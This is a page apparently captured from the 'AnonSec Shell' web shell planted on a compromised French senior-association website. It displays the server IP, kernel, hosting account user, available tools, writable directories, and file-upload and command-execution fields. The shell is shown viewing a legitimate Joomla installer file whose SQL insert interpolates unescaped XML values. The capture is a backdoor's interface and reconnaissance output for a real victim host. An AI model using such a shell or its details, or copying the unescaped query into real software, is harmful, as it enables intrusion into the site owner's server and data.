AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.112
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/lorient/libraries/compojoom/installer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/lorient/libraries/compojoom/installer/aup.php
<?php
/**
 * @package    Lib_Compojoom
 * @author     DanielDimitrov <daniel@compojoom.com>
 * @date       10.03.14
 *
 * @copyright  Copyright (C) 2008 - 2013 compojoom.com . All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die('Restricted access');

/**
 * Class CompojoomInstallAUP
 *
 * @since  1.0
 */
class CompojoomInstallerAup
{
	/**
	 * Function to install an AUP rule
	 *
	 * @param   string  $xmlFile  - path to a xml file with the AUP rule
	 *
	 * @return void
	 */
	public static function installRule($xmlFile)
	{
		$xmlDoc = simplexml_load_file($xmlFile);

		if ($xmlDoc)
		{
			if ($xmlDoc->getName() == 'alphauserpoints')
			{
				$element = $xmlDoc->xpath('//rule');
				$ruleName = $element ? (string) $element[0] : '';

				$element = $xmlDoc->xpath('//description');
				$ruleDescription = $element ? (string) $element[0] : '';

				$element = $xmlDoc->xpath('//component');
				$component = $element ? (string) $element[0] : '';
				$element = $xmlDoc->xpath('//plugin_function');
				$pluginFunction = $element ? (string) $element[0] : '';
				$element = $xmlDoc->xpath('//fixed_points');
				$fixedpoints = $element ? (string) $element[0] : '';
				$fixedpoints = (trim(strtolower($fixedpoints)) == 'true') ? 1 : 0;

				if ($ruleName != '' && $ruleDescription != '' && $pluginFunction != '' && $component != '')
				{
					$db = JFactory::getDBO();
					$query = $db->getQuery(true);
					$query = $query->select('*')->from($db->qn('#__alpha_userpoints_rules'))
						->where($db->qn('plugin_function') . ' = ' . $db->q($pluginFunction));
					$db->setQuery($query);
					$count = $db->loadResult();


					if (!$count)
					{
						$query->clear();
						$query->insert('#__alpha_userpoints_rules')
							->columns(
								array(
									'id',
									'rule_name',
									'rule_description',
									'rule_plugin',
									'plugin_function',
									'component',
									'fixedpoints',
									'category',
									'access'
								)
							)->values("'', '$ruleName', '$ruleDescription', '$component', '$pluginFunction', '$component', '$fixedpoints', 'fo', 1");
						$db->setQuery($query);
						$db->execute();
					}
				}
			}
		}
	}
}

Anon7 - 2022
AnonSec Team